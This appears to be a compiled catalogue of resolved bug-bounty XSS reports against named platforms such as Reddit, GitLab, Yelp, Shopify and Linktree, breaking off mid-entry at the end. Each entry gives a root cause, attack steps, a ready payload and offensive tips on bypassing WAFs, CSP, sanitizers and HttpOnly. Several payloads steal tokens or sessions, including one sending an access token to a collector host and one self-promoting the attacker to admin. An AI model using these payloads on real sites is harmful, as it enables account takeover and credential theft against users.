Insight — For mobile apps: enumerate exported deeplinks that load a URL into a WebView; if addJavascriptInterface is present, any XSS/open-redirect into that WebView reads the bridge cross-origin. Reverse the JS shim on the web help site to learn iOS bridge names.
Real-world example
Redirect/dest URL param used as javascript: sink post-login
◆ High
Specimen #1962645 · reddit · 5000 · 394 votes · resolved
Program redditSurface webChain javascript: URI in auth redirect -> XSS after loginTag oauth
Root cause
A login redirect parameter (dest) is placed into a navigation sink without scheme validation, so dest=javascript:... executes for both logged-in and logged-out users after they authenticate.
Method
- Visit https://accounts.reddit.com/?dest=javascript:alert(document.domain)
- If logged out, complete login; XSS fires after redirect
- If logged in, it fires immediately
https://accounts.reddit.com/?dest=javascript:alert(document.domain)
Insight — Any redirect/return/next/dest/google_apps_uri parameter that ends up in location=/href is a javascript:-URI XSS candidate. Always test the scheme, and note login-flow redirects fire the payload right after auth (works pre-auth).
Real-world example
Mutation XSS via malformed <iframe> + : in javascript: href
◆ High
Specimen #733248 · automattic · awarded · 356 votes · resolved
Program automatticSurface web
Root cause
The HTML sanitizer mis-handles a deliberately malformed <iframe <> wrapper around an anchor, and `:` entity reconstitutes `javascript:` in the href, yielding stored XSS in posts/comments.
Method
- Post a comment or create a post/title with the malformed-iframe payload
- Click the rendered 'Click Here' link
<iframe <><a href=javascript:alert(document.cookie)>Click Here</a>=></iframe>
Insight — Browser HTML-parser mutation (mXSS) beats naive sanitizers: wrap payload in a broken tag (`<iframe <>`) so the sanitizer and the browser disagree, and use HTML entities like `:` to rebuild forbidden scheme colons.
Real-world example
DOM XSS via reflected search parameter into HTML sink
◆ High
Specimen #868934 · duckduckgo · none · 326 votes · resolved
Program duckduckgoSurface webTag xss
Root cause
A search-page parameter (norw) was written into the DOM without sanitisation, allowing attribute-breakout HTML injection and script execution.
Method
- Identify a query param reflected into DOM/HTML
- Break out of the attribute context and inject a tag
- Trigger via onerror
https://duckduckgo.com/?q=a&norw="><img src=/ onerror=alert(document.domain)>
Insight — Test every reflected search/query param against DOM sinks; classic "><img src=x onerror=...> attribute-breakout still lands on major sites.
Real-world example
Reflected cookie value + cookie-smuggling -> persistent XSS -> ATO
◆ High
Specimen #2010530 · yelp · awarded · 321 votes · resolved
Program yelpSurface webChain reflected-cookie XSS + cookie smuggling -> persistent XSSTag account-takeoverTag oauth
Root cause
The guvo cookie is reflected unescaped into inline JS; a ?canary= param sets an arbitrary yelpmainpaastacanary cookie, and the backend's space-splitting cookie parser lets you smuggle a guvo cookie (with Max-Age) inside it -> persistent XSS on login pages.
Method
- Reflect: add guvo cookie -> unescaped in window.ySitRepParams / window.yelp.guv
- Set cookie via ?canary=asdf on *.yelp.com (Set-Cookie yelpmainpaastacanary)
- Smuggle guvo: backend splits cookies on spaces, so canary=asdf%20guvo=</script><script>... becomes two cookies
- Add Max-Age for persistence; deliver link
- Payload keylogs biz.yelp.com/login or links attacker Google account for ATO
https://yelp.com/?canary=asdf%20guvo%3D%3C%2Fscript%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3B%20Max%2DAge%3D99999999
Insight — Any reflected cookie is XSS if you also have a cookie-write primitive. Test broken cookie parsing (space vs semicolon) to smuggle a differently-named cookie past filters, and abuse ?param=->Set-Cookie features to persist the payload until the victim next logs in.
Real-world example
Stored XSS via Kroki pre/code lang-attribute confusion + data-attr CSP bypass
◆ High
Specimen #1731349 · gitlab · 13950 · 294 votes · resolved
Program gitlabSurface webChain attribute injection -> app JS data-* gadget (single_file_
Root cause
The Kroki filter matches either pre[lang] or code[lang] but always uses node.parent['lang'], so a code block with a valid diagram lang plus a parent <pre> carrying an arbitrary lang injects that value unescaped into an <img src> tag, allowing arbitrary attributes.
Method
- Craft <a><pre lang='f/" onerror=alert(1) '><code lang="wavedrom">xss</code></pre></a>
- Parent pre lang is used as diagram_type and interpolated into <img src=...> unescaped
- For CSP bypass, inject data-diff-for-path pointing at a snippet JSON {"html":"<script>..."} loaded by single_file_diff.js via jQuery
- Use a style-attribute overlay + data-toggle=popover so a page click triggers it
<a><pre lang='f/" onerror=alert(1) onload=alert(1) '><code lang="wavedrom">xss</code></pre></a>
Insight — Diagram/markdown post-processors that pick an attribute from parent-or-child nodes but re-use only one of them are attribute-injection sinks. When class/script are blocked by CSP, hunt app-specific data-* attributes (data-diff-for-path, data-toggle=popover) that cause the app's own JS to fetch+html() attacker content.
Real-world example
Server-side missing link validation on scheduled/richtext posts (javascript:)
◆ High
Specimen #1930763 · reddit · 5000 · 280 votes · resolved
Program redditSurface web
Root cause
Hyperlink scheme validation happens only client-side for scheduled posts; intercepting the request to inject a javascript: link stores it, and it executes when a moderator/admin views the scheduled-post edit page.
Method
- Create a scheduled post with a normal link
- Intercept the API request and replace the URL with a javascript: scheme payload
- Admin opens the scheduled editing page and clicks the link -> XSS
javascript:alert(document.domain) (inject into the link field of the scheduled-post API request)
Insight — When a rich-text/link editor validates schemes only in the browser, replay the API request with a javascript: URL. Content surfaced in moderation/scheduling/preview views often skips the sanitization applied to the live-rendered version.
Real-world example
AngularJS sandbox-escape CSTI on 3rd-party docs platform reflected on brand subdomain
◆ High
Specimen #131450 · uber · 7500 · 223 votes · resolved
Program uberSurface webChain 3rd-party docs CSTI -> admin review -> developer accouTag supply-chain
Root cause
developer.uber.com is served by readme.io; an authenticated 'suggest edits' feature stores an AngularJS template-injection payload that executes (sandbox escape) when an admin reviews it, hijacking developer accounts via the trusted subdomain.
Method
- Register on the docs platform (uber.readme.io) and authenticate the session
- Open the /docs/<page>/edit suggest-edits form
- Insert an AngularJS sandbox-escape template payload and submit
- Admin views the suggested edit -> JS runs on developer.uber.com
{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}
Insight — Content platforms mounted on a brand subdomain (readme.io, Zendesk, help centers) inherit trust; AngularJS-rendered pages are vulnerable to `{{}}` CSTI with known sandbox escapes. Weak-posture third parties become supply-chain XSS on your target's domain.
Real-world example
Stored XSS in post title fires in moderator mod-notes/mod-log view
◆ High
Specimen #1504410 · reddit · awarded · 217 votes · resolved
Program redditSurface web
Root cause
A post title containing an XSS payload is stored unescaped and rendered when a subreddit moderator removes the post and opens the attacker's mod notes (sometimes on profile hover), executing in the mod's session.
Method
- Create a post whose title contains the XSS payload
- Get the post removed by a mod (or bait moderation)
- Payload fires when the mod opens/hovers the attacker's mod notes
<XSS payload in post title> (renders in mod-notes / mod-log removed-posts view)
Insight — Attacker-controlled content that only appears in moderation/admin/audit-log tooling (mod notes, removed-posts log, abuse queue) is a blind-XSS goldmine because those views are seldom sanitized like the public render.
Real-world example
User-controllable account UUID rendered unescaped in JS context
◆ High
Specimen #249131 · upserve · 1500 · 207 votes · resolved
Program upserveSurface web
Root cause
The API lets the client submit its own account UUID with no character validation; the UUID is echoed unescaped into an inline `YUI...consumer = {"uuid":"..."}` script, so a `</script><script src=...>` UUID is stored XSS wherever the UUID renders (incl. admin panels).
Method
- POST /c/user with a crafted uuid value (not validated)
- Confirm email to persist
- UUID reflects into inline JSON/JS unescaped and executes
uuid=</script><script src=//is.gd/z0i2sU>&email=YOU@x&brand_pretty_url=...
Insight — Whenever a client can set its own identifier (uuid, slug, handle), test it as a stored-XSS sink -- these often render in operator/admin views without escaping. Use a URL shortener to fit tight length limits and rely on a trailing </script> in the page to close your tag.
Real-world example
Upload filter bypass via unknown extension -> MIME sniffing XSS + AppCache poisoning
◆ High
Specimen #84601 · x · awarded · 198 votes · resolved
Program xSurface webChain upload filter bypass -> MIME-sniff XSS -> AppCache cacTag file-upload
Root cause
upload.twitter.com rejects known-dangerous extensions but passes unknown ones, serving them with no Content-Type so the browser MIME-sniffs HTML -> XSS on ton.twitter.com; signing the request removes the self-XSS limitation, and an uploaded AppCache manifest makes it a persistent, domain-wide cache poisoning.
Method
- Upload audience data file; intercept the request
- Change the blobstore_url suffix to an unknown extension (.test) so the type check passes
- Set content to an XSS vector; server serves it with no Content-Type -> sniffed as HTML
- Sign with OAuth token so other users can access it (not self-XSS)
- Upload an HTML5 AppCache manifest to persist XSS and control all responses on the domain
blobstore_url=1440354519600.test
content=<script>alert(1)</script>
(then OAuth-sign; add cache.manifest AppCache to persist)
Insight — Extension blacklists that only reject known-bad types are bypassed by unknown extensions; missing Content-Type -> MIME sniffing turns any uploaded bytes into HTML. Escalate self-XSS via signed/shared URLs, and use AppCache/service-worker manifests to persist XSS and poison the whole origin's cache.
Real-world example
DOM XSS via postMessage navigation sink (setWindowLocation) + cookie stuffing
◆ High
Specimen #422043 · shopify · awarded · 195 votes · resolved
Program shopifySurface webChain cookie stuffing -> login CSRF -> (not-open) redirect -Tag account-takeover
Root cause
An embedded-app SDK registers a postMessage handler that navigates window.location to attacker-supplied data with no protocol check, so a javascript: URL yields XSS; self-XSS is turned into a victim attack by forcing login to the attacker's store via cookie stuffing.
Method
- iframe the embedded app on your own store (origin check trusts the logged-in shop by design)
- postMessage a Shopify.API.setWindowLocation message with a javascript: destination to get code exec
- Force victim into attacker session with login CSRF + cookie stuffing, using a long cookie path (/admin/oauth) to outrank the legit cookie per RFC6265
- Re-log victim into the app under attacker context, land XSS on the app origin with the victim's session
$$('iframe')[0].contentWindow.postMessage('{"message":"Shopify.API.setWindowLocation","data":"javascript:alert(document.domain);0[0]"}','*')
// cookie stuffing to outrank legit cookie:
document.cookie='_secure_admin_session_id=EVIL;path=/admin/oauth';
document.cookie='_master_udr=EVIL;path=/admin/oauth';
Insight — Any postMessage handler that assigns user data to window.location / location.href is an XSS sink if it accepts javascript: URLs. When XSS is only self-exploitable, look for login CSRF + cookie stuffing (longer-path cookies win) to force the victim into your session.
Real-world example
Stored XSS via uploaded SVG/HTML file served inline
◆ High
Specimen #380103 · deptofdefense · none · 192 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
A blog/file upload accepts .svg and .html files and serves them inline (rendered as documents) from the app origin, so the uploaded file's embedded script executes.
Method
- Register / log in; go to the blog create-post upload
- Upload evil.svg or evil.html containing script
- Browse directly to the uploaded file URL to fire the XSS
<!-- evilsvgfile.svg -->
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
Insight — When uploads allow SVG/HTML and serve them with a renderable Content-Type from the app origin, that's stored XSS. Always try fetching the uploaded file's direct URL, not just its <img> embed.
Real-world example
Stored XSS via markdown-to-HTML parser autolink/underscore confusion
◆ High
Specimen #299728 · security · 5000 · 184 votes · resolved
Program securitySurface web
Root cause
An interaction between _ and @ in the markdown-to-HTML renderer's autolink logic emits a malformed tag from user input, letting the attacker introduce a tag into which arbitrary attributes (including event handlers) can be added.
Method
- Submit the crafted markdown in any rendered field
- Observe the renderer emit a broken <a>/tag structure containing an attacker-controllable tag name
- Extend the primitive with attributes/event handlers
</http:<marquee>hello
// renders to: <p><a title="/http:<marquee" href="/http:%3Cmarquee" target="_blank">/http:<marquee>hello</p></marquee></a></p>
Insight — Markdown/HTML sanitizer bugs live at the boundary between autolink detection and tag emission. Feed unbalanced tag fragments (</http:<tag>) and inspect the emitted HTML for attacker-controlled tag/attribute positions the sanitizer didn't anticipate.
Real-world example
postMessage origin bypass via indexOf substring check + eval sink
◆ High
Specimen #603764 · upserve · 2500 · 171 votes · resolved
Program upserveSurface webTag account-takeover
Root cause
A message handler validates origin with ~e.origin.indexOf('https://hq.upserve.com') (substring match) and then eval()s e.data.exec, so any origin merely containing the trusted string passes.
Method
- Host attacker page on a domain that contains the trusted origin as a substring (e.g. https://hq.upserve.com.attacker.com)
- postMessage {exec:"<js>"} to the target login page
- eval runs attacker JS on the victim origin
// vulnerable check: if (~e.origin.indexOf('https://hq.upserve.com')) { ... eval(e.data['exec']); }
// attacker origin that passes: https://hq.upserve.com.attacker.com
win.postMessage({exec:"alert(document.domain)"}, '*')
Insight — Audit postMessage handlers for origin checks that use indexOf/includes/regex-without-anchors instead of strict equality; a substring or suffix domain (trusted.com.evil.com) defeats them. eval/innerHTML on e.data is the payoff.
Real-world example
Stored XSS + CSP bypass via unsanitized imported label color
◆ High
Specimen #1665658 · gitlab · awarded · 169 votes · resolved
Program gitlabSurface web
Root cause
GitHub-project import copies label colors without sanitization; the color string is rendered into an HTML/style context, so a crafted color yields stored XSS that also fires anywhere the label is referenced (~"label") in issues/MRs.
Method
- Stand up a dummy GitHub API server that returns a label whose color contains an XSS payload (real GitHub restricts colors)
- Trigger GitLab import via /api/v4/import/github pointing github_hostname at your server
- View the imported project's labels, or reference the label with ~"name" in any issue/MR description, to fire the XSS
curl -kv "https://gitlab.com/api/v4/import/github" -X POST \
-H "content-type: application/json" -H "PRIVATE-TOKEN: <token>" \
--data '{"personal_access_token":"ghp_...","repo_id":"523303538","target_namespace":"<you>","new_name":"xss-on-label-color","github_hostname":"http://YOUR_IP:PORT"}'
# dummy server returns a label color carrying the JS payload
Insight — Import/sync features trust the upstream API's own validation. Stand up a fake upstream server to inject values (colors, names, URLs) the real service would reject. Rendered-in-style/attribute fields like colors are overlooked XSS sinks.
Real-world example
Stored XSS: HTML injection in markdown escalated to script via <base href> CSP bypass
◆ High
Specimen #1481207 · gitlab · awarded · 161 votes · resolved
Program gitlabSurface webChain HTML injection (markdown filter) -> <base href> -&gTag account-takeover
Root cause
A markdown syntax-highlight filter permits raw HTML injection including a <base> tag; with script-src locked down but <base> allowed, injecting <base href=attacker> makes every relative (nonce'd) script load from the attacker domain, bypassing CSP.
Method
- Inject HTML into an issue description/wiki/note via the syntax_highlight_filter breakout
- Include <base href=https://attacker>
- Open DevTools, note which relative /assets/webpack/*.chunk.js failed to load
- Host those exact paths on your domain with alert(document.domain); reload -> nonce'd scripts execute
<pre data-sourcepos=""%22 href="x"></pre>
<base href=https://attacker.com>
<pre x="">
<code></code></pre>
// then host e.g. /assets/webpack/hello.4948f350.chunk.js containing alert(document.domain)
Insight — When HTML injection exists but script-src blocks inline JS, check whether <base> is allowed: relocating the base URL hijacks nonce-bearing relative script tags and bypasses strict CSP without needing an inline-script gadget.
Real-world example
Reflected XSS in URL path reflected into inline JS string
◆ High
Specimen #1051373 · reddit · awarded · 157 votes · resolved
Program redditSurface web
Root cause
A URL path segment is reflected into an inline JavaScript string; breaking out of the string with a quote and injecting an expression executes arbitrary JS (fired here on a button action).
Method
- Place the payload in the path segment (e.g. /verification/<payload>)
- Load the page and trigger the JS-context action
- String breakout runs your expression
https://www.reddit.com/verification/asd',%20alert(document.location),%20%27
// pixiv variant (array/arith breakout in JS): https://www.pixiv.net/en/['-alert(document.cookie)-']
Insight — When a path segment (not a query param) lands inside inline <script>, break the JS string with ',...,' or an array/arith context like ['-payload-']. Path-based reflections are missed by query-focused scanners.
Real-world example
Prototype pollution via deparam(location.hash) chained to eval gadget
◆ High
Specimen #998398 · elastic · awarded · 156 votes · resolved
Program elasticSurface webChain prototype pollution (deparam) -> eval config gadget ->
Root cause
A client-side deparam function parsing location.hash walks nested [] keys into objects, allowing __proto__ pollution; a same-file gadget eval()s values from a config object, turning the polluted property into DOM XSS.
Method
- Confirm pollution: set location.hash=#__proto__[test]=1 and read ({}).test in console
- Find a script gadget that reads a config property and passes it to a sink (here eval of install.hooks)
- Set the hash so the polluted property lands in the eval'd hook object
https://TARGET/#__proto__[asd]=alert(document.domain)
// gadget: $.each(config.install.hooks, (k,fn)=>{ functionHooks[k]=eval(fn) })
Insight — When a JS lib parses location.hash/search into nested objects, test for __proto__[x] pollution, then grep the same bundle for gadgets (eval, innerHTML, setAttribute, script src, config-driven callbacks) that read arbitrary object properties.
Real-world example
Persistent XSS via project import bypassing markdown cache regeneration
◆ High
Specimen #508184 · gitlab · 4500 · 137 votes · resolved
Program gitlabSurface web
Root cause
Project import lets attacker set every Note attribute including note_html and cached_markdown_version; by supplying the correct cache version magic number the app thinks the cached HTML is up-to-date and never regenerates it from the safe markdown, so attacker HTML persists.
Method
- Export a project containing at least one MR discussion (Note)
- Edit project.json: set note_html to the XSS payload and cached_markdown_version to 917504
- Import the modified project and view the discussion
"notes": [
{
"id": 1,
"note": "interesting note here",
"note_html": "<img src=\"test\" onerror=\"alert(document.domain)\"></img>html overwritten",
"cached_markdown_version": 917504
}
]
Insight — Import/restore flows that accept a serialized model let you set precomputed *_html cache fields directly. Find the cache-invalidation guard (here cached_markdown_version = (CACHE_COMMONMARK_VERSION<<16)|local_version, local_version=0 -> 917504) and match it so the sanitizer/regenerator is skipped.
Real-world example
Stored XSS via search engine rendering third-party page HTML
◆ High
Specimen #1110229 · duckduckgo · none · 134 votes · resolved
Program duckduckgoSurface web
Root cause
Search results render fetched HTML from indexed third-party pages (e.g. an instant-answer/definition source) without sanitization, so a payload planted on that third-party site executes on the search-engine origin; the search URL becomes the delivery vector.
Method
- Plant an HTML payload on a page the engine ingests (e.g. urbandictionary)
- Search a query that surfaces that page's content in results
- The rendered result fires XSS; share the ?q= URL as the payload delivery
# search query that pulls the poisoned third-party content:
urban dictionary "><img src=x<
# delivery URL:
https://duckduckgo.com/?q=urban+dictionary+%22%3E%3Cimg+src%3Dx%3C&ia=web
Insight — Aggregators/search engines that inline third-party HTML (instant answers, previews, definitions) are XSS-prone even though the query itself is escaped. Plant the payload upstream, then craft a query that renders it; the ?q= link is the shareable exploit.
Real-world example
Stored XSS via unescaped src in custom emoji (set through GraphQL)
◆ High
Specimen #1198517 · gitlab · 3000 · 129 votes · resolved
Program gitlabSurface graphqlTag graphql
Root cause
emoji_image_tag interpolates the emoji url straight into an <img src='...'> string with .html_safe and no escaping; a url that closes the attribute injects markup, and the emoji is set via the createCustomEmoji GraphQL mutation.
Method
- Create a group, enable the custom_emoji feature flag
- Send createCustomEmoji mutation with a url that breaks out of src='...'
- Reference :emojiname: in any README/comment; rendering fires the XSS
mutation {
createCustomEmoji(input:{groupPath:"xss_target",name:"xssreplace",url:"http://aaa#'><img onerror=alert(location) src=.>"}){ customEmoji { id name url } }
}
// then in README.md: :xssreplace:
Insight — URL/src fields are frequently interpolated into attributes without escaping; a value like x'><img onerror=...> breaks out of src='...'. Check GraphQL mutations for setters that never reach the same validation as the UI form.
Real-world example
Multi-layer WAF/back-end filter bypass: control chars, single %, unicode best-fit, MathML xml:base
◆ High
Specimen #309531 · rockstargames · awarded · 118 votes · resolved
Program rockstargamesSurface web
Root cause
Stored XSS in SocialClub/Snapmatic comments where a front WAF, a back-end HTML filter, and client-side JS each normalized input differently; discrepancies between the layers let crafted input re-assemble into live markup after passing every filter.
Method
- Inject control chars (\b\f\n\r\t) after < to slip past a regex-based WAF, back-end reassembles the tag
- Insert a single % to confuse back-end escaping into emitting an unescaped <
- Use full-width/small-form unicode (U+FF1C, U+FE64) or angle brackets (U+3008, U+2329) that best-fit-map to < on Windows stacks
- Chain 8 tricks: <>-splitting trigger words, \u0025 for %, MathML <math>, control-char-broken element names, xml:base JS URI, quote injection, href=# to make trailing text clickable, []-fake-URL to escape the badLink container
<\t (control char after <)
\uFE64%\uFF1Cscript/src=//HOST?
\uFF1C%\uFE64input/autofocus onfocus\b='[1].find(alert)'
&<>lt;%&<>lt;m\bath xml:base="j<>avascript:alert(document.domain)//" href=#"[bad.url.pls]
〈script/src=//HOST? (U+3008 / U+2329 best-fit to <)
Insight — When a payload passes a WAF but does not fire, the back-end and client each normalize differently - probe each layer separately. Unicode best-fit mapping (full-width/small-form/angle brackets -> ASCII <) defeats blacklists on Windows stacks; control characters inside tag names get stripped by the back-end and reassembled; MathML <math xml:base=javascript:> is a rarely-filtered JS-URI vector.
Real-world example
Cache-poisoning stored XSS via reflected cookie in JS var; quote-in-tag WAF bypass; HttpOnly bypass via app state
◆ High
Specimen #1760213 · expediagroup_bbp · awarded · 117 votes · resolved
Program expediagroup_bbpSurface webChain reflected hav cookie -> WAF bypass -> cache poisoning Tag cacheTag account-takeover
Root cause
The hav cookie was reflected into var hav="..." on a cacheable .js/.jpeg-suffixed page; a WAF that stripped/hid double quotes but not <> was bypassed by splitting keywords with quotes, and the poisoned response was cached and served to all visitors.
Method
- Find the hav cookie reflected inside a JS string (var hav="<cookie>") on a URL the CDN treats as cacheable (…dt0.php.js / .jpeg)
- WAF blocks </script><svg...>, but hides double quotes: break the blocked tokens with " so </sc"ript><sv"g/onloa"d=…> passes and reflects clean
- Send request to prime the cache; the poisoned response is stored for that path
- Any user loading the cached URL is XSS'd
- Exfil the HttpOnly session by reading window.INITIAL_STATE.system.cookie (session mirrored in cleartext JS)
GET /annonces/.../france_..._dt0.php.js?xxxd HTTP/2
Host: www.abritel.fr
Cookie: hav=xss"</sc"ript><sv"g/onloa"d=aler"t"(window.INITIAL_STATE.system.cookie)>
// victim then loads the .jpeg/.js variant of the URL and gets XSS'd
Insight — If a WAF 'hides' one metacharacter (quotes) but not <>, insert that hidden char inside keywords to break WAF signatures while the app still reassembles a valid tag. Check whether reflected values land on cacheable extensions (.js/.css/.jpeg suffix tricks) to turn reflected into stored via cache poisoning. HttpOnly is moot when the session is also present in a client-side state object.
Real-world example
Stored XSS via HTML file upload served inline (?action=view) -> workspace/admin takeover
◆ High
Specimen #3115705 · dust · none · 117 votes · resolved
Program dustSurface webChain upload text/html file -> inline view in victim session -&Tag file-upload
Root cause
The file-upload API accepted contentType text/html and served the uploaded file inline in the app origin via a downloadUrl?action=view, so an uploaded .html runs JS in any viewer's authenticated session.
Method
- POST /api/w/<wsid>/files with JSON {contentType:'text/html', fileName:'xss_poc.png', useCase:'conversation'} to get an uploadUrl
- Upload the malicious HTML to that uploadUrl (multipart, content-type text/html)
- Get downloadUrl and share it with '?action=view'
- Victim (admin) opens it; embedded fetch() calls the API with their cookies to promote attacker to admin
// upload metadata
POST /api/w/<wsid>/files {"contentType":"text/html","fileName":"xss_poc.png","fileSize":7331,"useCase":"conversation"}
// payload html (runs in victim session):
fetch('https://dust.tt/api/user',{credentials:'include'}).then(r=>r.json()).then(u=>{
const ws=u.user.workspaces[0].sId;
fetch(`https://dust.tt/api/w/${ws}/members/<attackerId>`,{method:'POST',headers:{'content-type':'application/json'},credentials:'include',body:JSON.stringify({role:'admin'})});
});
Insight — Any upload endpoint that lets you set contentType text/html and serves the file inline (not attachment) on the app origin is stored XSS. Note the declared fileName ('.png') is cosmetic - the Content-Type header decides rendering. Escalate by having the payload self-drive the app's own admin/role API with the victim's cookies (no cookie theft required).
Real-world example
Stored XSS via JSON API field reflected with Content-Type text/html
◆ High
Specimen #2078490 · 8x8-bounty · USD 1337 · 106 votes · resolved
Program 8x8-bountySurface api
Root cause
A payment-info GET endpoint returned stored JSON fields with Content-Type text/html; a writable field (ipAddress, set via a patch endpoint discovered in client JS) containing <svg onload> executed when the record was viewed.
Method
- Read client JS to find a patch endpoint that lets a user modify a stored field (patchPaymentMethod)
- PATCH the ipAddress field with an XSS payload
- Load the GET-by-id endpoint, which serves the record as text/html
- The stored <svg onload> executes
POST /api/patchPaymentMethod/<id> HTTP/2
Content-Type: application/json
{"ipAddress":"<svg on onload=(alert)(document.domain)>","callBackURL":"dssdsd"}
// then GET /api/...mentInfoById/<id> (served as text/html)
Insight — API endpoints that echo stored data are XSS sinks when Content-Type is text/html (or is sniffable). Diff client JS to find hidden writable fields and their update endpoints, then check whether any read endpoint renders as HTML instead of application/json.
Real-world example
Stored XSS via unsanitized field reflected inside a <script> tag (JS-context breakout)
◆ High
Specimen #1392262 · insightly · awarded · 105 votes · resolved
Program insightlySurface web
Root cause
User-supplied Link Name was reflected inside an inline <script> block on the Templates page without encoding, so </script> plus markup breaks out of the script context into HTML and executes for every user who views the page.
Method
- Create a redirect Link whose name contains a </script> breakout payload
- Reference/save it into an Email Template
- When any org user opens the Templates/email page, the stored payload executes
'"></script><img src=x onerror=alert(1)>{{'7'*7}}
Insight — Always test whether a stored value lands in HTML context, attribute context, or inside an inline <script>. In JS/script context the breakout is </script> (not just "> or on-event); the {{7*7}} probe simultaneously tests for template injection. Name/label fields are frequently rendered unencoded in unexpected contexts (also seen in plan-name, email inputs, and email-notification subjects).
Real-world example
javascript:// + %0A newline bypass in link field; HttpOnly bypass via token endpoint
◆ High
Specimen #1698652 · linktree · awarded · 105 votes · resolved
Program linktreeSurface webChain javascript: link XSS -> fetch /api/token -> steal acceTag account-takeover
Root cause
The SocialIcon Link URL had no scheme validation, accepting a javascript: URI; a URL-shaped javascript://host/path%0A<code> prefix passed superficial checks, and since cookies were HttpOnly, auth was stolen from an endpoint (/api/token) that returned the accessToken to the same origin.
Method
- Set a SocialIcon link to a javascript:// URL with a %0A newline followed by eval(...)
- On click the JS runs in linktr.ee origin
- From the XSS, fetch /api/token with credentials to read accessToken (HttpOnly cookie not needed)
- Exfiltrate the token to attacker collector
javascript://https://amazon.com/shop/x%0Aeval("(async()=>{await fetch('https://linktr.ee/api/token').then(r=>r.json()).then(j=>{fetch('https://COLLAB/?token='+j['accessToken'])})})()")
Insight — javascript://LOOKS-LIKE-A-URL%0A<code> both satisfies naive URL validation and executes (// starts a JS comment, %0A/newline ends it before the code). When cookies are HttpOnly, hunt for a same-origin endpoint that returns the bearer/access token to JS and exfiltrate that instead.
Real-world example
Blind XSS in admin/back-office via archive-discovered endpoint
◆ High
Specimen #1558010 · security · awarded · 102 votes · resolved
Program securitySurface webChain public form field -> stored unencoded -> renders in in
Root cause
A public-facing ratings endpoint stored attacker input (Liked/Disliked reviewers, Reasons) without encoding; it was rendered unescaped in an internal admin portal, firing a blind XSS in staff browsers.
Method
- Enumerate forgotten endpoints via the Wayback CDX API (web.archive.org/cdx/search)
- Fill every field of the found form with a blind-XSS beacon payload
- Wait for the payload to fire when an admin reviews the entry, capturing the internal URL/DOM
'"><img src=x id=<b64-of-collector-js> onerror=eval(atob(this.id))>
// discovery: http://web.archive.org/cdx/search/cdx?url=app.TARGET.com/*&output=text&fl=original&collapse=urlkey
Insight — Seed blind-XSS beacons into every free-text field of any form that feeds an internal review/admin view. Use the Wayback CDX API to discover stale/undocumented endpoints. eval(atob(this.id)) hides the collector JS inside an attribute id to dodge length/keyword filters.
Real-world example
DOM XSS via outdated Swagger-UI configUrl/url spec-loading parameter
◆ High
Specimen #2321874 · mtn_group · none · 101 votes · resolved
Program mtn_groupSurface web
Root cause
An outdated Swagger-UI deployment let index.html?configUrl= (or ?url=) load an attacker-hosted spec/config JSON, which older Swagger-UI versions render into a DOM XSS.
Method
- Fingerprint an old Swagger-UI (swagger.json, index.html, version banner)
- Host a malicious spec/config JSON on an attacker domain
- Load /index.html?configUrl=https://ATTACKER/test.json (or ?url=)
- XSS fires from the loaded spec
https://TARGET/index.html?configUrl=https://ATTACKER.example/test.json
Insight — Outdated Swagger-UI is a known XSS via configUrl/url loading a remote spec (multiple CVEs). When you spot a Swagger/OpenAPI docs page, test its configUrl/url parameter with an attacker-hosted JSON before assuming it's benign.
Real-world example
CSP strict-dynamic bypass via jQuery $(html).append() of user input
◆ High
Specimen #1588732 · gitlab · awarded · 99 votes · resolved
Program gitlabSurface web
Root cause
A stored user field (deploy-key title) is interpolated into an HTML template string and inserted via jQuery ($('<ul>').append(html)); jQuery's manipulation runs <script> nodes, and because a page-trusted script performs the insertion, script-src 'strict-dynamic' still trusts it.
Method
- Store an HTML/script payload in a field rendered by a JS template (deploy-key Title)
- Trigger the client code that builds the dropdown HTML and passes it to jQuery append()/html()
- Script executes despite strict CSP
Deploy key Title: test <script>alert(document.domain)</script>
// sink: return $('<ul>').append(html); // jQuery executes the injected <script>
Insight — On sites protected by CSP with 'strict-dynamic', client-side templating that concatenates user data into a string and hands it to jQuery .html()/.append()/.prepend() is still exploitable: jQuery re-inserts <script> via a trusted (already-allowed) script, so strict-dynamic propagates trust. Grep client JS for template literals feeding jQuery DOM methods.
Real-world example
Reflected XSS via postMessage: origin-only check bypassed with window.open
◆ High
Specimen #900619 · playstation · USD 1000 · 97 votes · resolved
Program playstationSurface webChain postMessage handler abuse -> SPA route/model injection -&Tag account-takeover
Root cause
A postMessage handler validates only that event.origin equals the site's own referrer, but opening the site with window.open lets the opener send messages that pass the check; a handled action (replaceRoute) renders an attacker-supplied model field (sku.longDescription) as HTML.
Method
- Read the message handler; note it only checks origin/referrer, not that the message comes from a trusted frame
- win = window.open(target); wait for load
- win.postMessage a replaceRoute action selecting a route whose model has an HTML-rendered field
- Put an img/onerror payload in that field; use the XSS to read tokens and postMessage them back to opener
win = window.open("https://transact.playstation.com/");
win.postMessage(JSON.stringify({action:"replaceRoute",route:"voucher.multi-product-details",model:{eligible:true,sku:{id:0,longDescription:"<img src=x onerror='valkyrie.transact.preflightRunner.getPromise(\"gcAuth\").then(a=>window.opener.postMessage(JSON.stringify(a),\"*\"))'>"}}}),"*");
Insight — An origin/referrer check is not an authentication of the sender — window.open makes the top-level target same-origin-messageable. Enumerate every action a postMessage router accepts and hunt for one whose model/params reach an HTML sink; SPA routers (Ember/Angular) that render model fields as HTML are prime targets.
Real-world example
Reflected XSS via query-param attribute breakout
◆ High
Specimen #659419 · wordpress · awarded · 97 votes · resolved
Program wordpressSurface web
Root cause
A request parameter is reflected inside an HTML attribute without encoding; closing the attribute/tag with "> injects a new element whose event handler runs.
Method
- Find a param reflected into an attribute value
- Break out with "> then an img/onerror element
- Deliver the URL to a logged-in victim
https://make.wordpress.org/chat/logs?channel=16%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E&date=2019-07-21&no_bots=1
Insight — The bread-and-butter reflected XSS: canary a param, view source to see if it lands in an attribute, then use "><img src=x onerror=> to escape. Also seen with single-quote breakout ('><img ...>) on classic ASP endpoints — test both quote styles.
Real-world example
Stored XSS + CSP bypass via label color imported from GitHub
◆ High
Specimen #1693150 · gitlab · awarded · 96 votes · resolved
Program gitlabSurface webChain GitHub import (unvalidated color) -> stored HTML in label
Root cause
